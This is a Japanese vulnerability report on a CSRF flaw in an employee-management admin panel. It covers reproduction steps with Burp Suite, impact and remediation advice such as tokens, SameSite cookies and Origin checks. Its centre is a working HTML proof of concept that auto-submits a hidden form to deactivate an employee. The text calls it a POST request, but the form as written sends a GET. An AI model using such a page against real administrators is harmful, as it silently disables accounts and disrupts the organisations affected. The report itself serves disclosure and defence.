従業員管理機能にはクロスサイトリクエストフォージェリ (CSRF) の脆弱性があります。
攻撃者はログイン済みの管理者をだまして、管理者の知らないうちに同意なく従業員（例：inid=1）を無効化する偽装リクエストを送信させることができます。
ベクトル文字列: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
モジュール: 管理パネル → 従業員 → 従業員管理
アクション: 従業員の無効化（inid パラメータ経由）
管理者としてログイン
/admin エンドポイントにアクセスし、有効な管理者認証情報でログインします。
従業員管理を開く
無効化リクエストをキャプチャ
プロキシ（Burp Suite など）でインターセプトをオンにします。
従業員の 無効化 をクリックし、ユーザーを無効化するリクエストをキャプチャします。
リクエスト内のパラメータ inid（例：inid=1）に注目します。
CSRF の PoC を生成
inid=1 のリクエストを送信してユーザー1を無効化する HTML ファイルを作成します。
被害者として CSRF をトリガー
HTML PoC をブラウザでホストするか開きます。
管理者がアプリケーションにログインした状態で、この PoC ページにアクセスしフォームを送信すると、ユーザー 1 が無効化されます。
効果を確認
管理ダッシュボード → 従業員管理 に戻ります。
ユーザー 1 が 無効 と表示されていることを確認します。
以下は
POSTリクエストでパラメータinidを送信する典型的な PoC です：
<html>
<body>
<form action="http://localhost/elms/admin/manageemployee.php">
<input type="hidden" name="inid" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
この内容を csrf_inactivate_emp1.html として保存します。
このファイルを送信・ホストし、認証済みの管理者に読み込ませてボタンをクリックさせます。
攻撃者は認証済みの管理者に、悪意のあるページを訪問させることで任意の従業員を強制的に無効化できます。
これにより以下のような事態が発生する可能性があります：
不正なアカウント無効化：ユーザーアカウントの可用性に影響を及ぼします。
業務の中断：重要な業務中に従業員が無効化されるなど。
他の脆弱性と組み合わせた悪用（例：特定の監視アカウントや特権アカウントの無効化）。
攻撃に必要な条件は以下のみです：
管理者がログインしていること、かつ
管理者が攻撃者の制御する悪意のある URL／ページ（フィッシング、埋め込まれた iframe、悪意のあるリンクなど）を訪問すること。
管理ポータルでユーザー管理を直接操作することを考慮すると、この問題は重要度：高と評価すべきです。
CSRF 保護トークンの実装
すべての状態変更リクエスト（無効化、削除、更新など）に暗号学的に安全で予測不可能な CSRF トークンを追加します。
フォームに隠しフィールドとしてトークンを埋め込みます。
サーバー側で以下を検証します：
トークンの存在、
トークンの正確性、
トークンが現在のユーザーセッションに関連付けられていること。
トークンがないか無効な場合、リクエストを拒否します。
Same-Site Cookie の使用
セッションクッキーに SameSite=Lax、可能であれば SameSite=Strict を設定します。
これにより、クロスサイトリクエストでクッキーが自動送信されるのを防ぎ、CSRF のリスクを低減します。
適切な HTTP メソッドの強制
すべての状態変更操作（従業員の無効化など）には POST（または PUT/DELETE）を使用し、GET は使用しないようにします。
重要な状態変更を GET パラメータで受け付けないようにします。
Origin / Referer ヘッダーの検証
機密性の高いエンドポイントでは、Origin または Referer ヘッダーを検証し、リクエストが信頼できるドメインから送信されていることを確認します。
ヘッダーがない場合、または信頼できないオリジンからの場合、リクエストを拒否します。
UI／ワークフローの強化
機密性の高い操作（管理者ロールのユーザー無効化など）には、サーバー側の確認や再認証フローを追加します。
CSRF が試みられた場合でも、適切な権限チェックを実装し、意図されたロールのみが操作を実行できるようにします。
セキュリティテスト
通常のセキュリティテスト（手動および自動）に CSRF チェックを組み込みます。
保護を実装した後、このエンドポイント（および類似のエンドポイント）を再テストし、PoC が機能しなくなったことを確認します。